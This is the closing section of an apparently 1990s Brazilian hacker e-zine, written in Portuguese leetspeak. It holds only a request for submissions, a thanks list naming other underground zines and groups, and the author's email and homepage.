<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>


Bah!!cabo!! quem tiver mais pode me manda por Mail!! que eu ponho no zine!!
bla bla bla!! Ahhh JuRo que eu nao sou o author de nenhum desses feitos ae..!
heheheheh

9- Agradecimentos!!!

AOL= Anarchy on LiNe ZiNe

RoTTer ( www.vorteck.com/UoBrazil) GaMe!!! Ultima on LiNe!!

JoKer's Page

Lebeau Page

Phanton Phreak da Psychos Underground Team
e outros!!!

<><><><><><><><><><><><><><><><>----===================-----------------==========

Mail to:

funboy_66@hotmail.com
http://www.angelfire.com/ak/FunBoY ( OBs.: Digitem do mesmo geito que eu escrevi o FunBoY, pq c nao....naum acha a HP)

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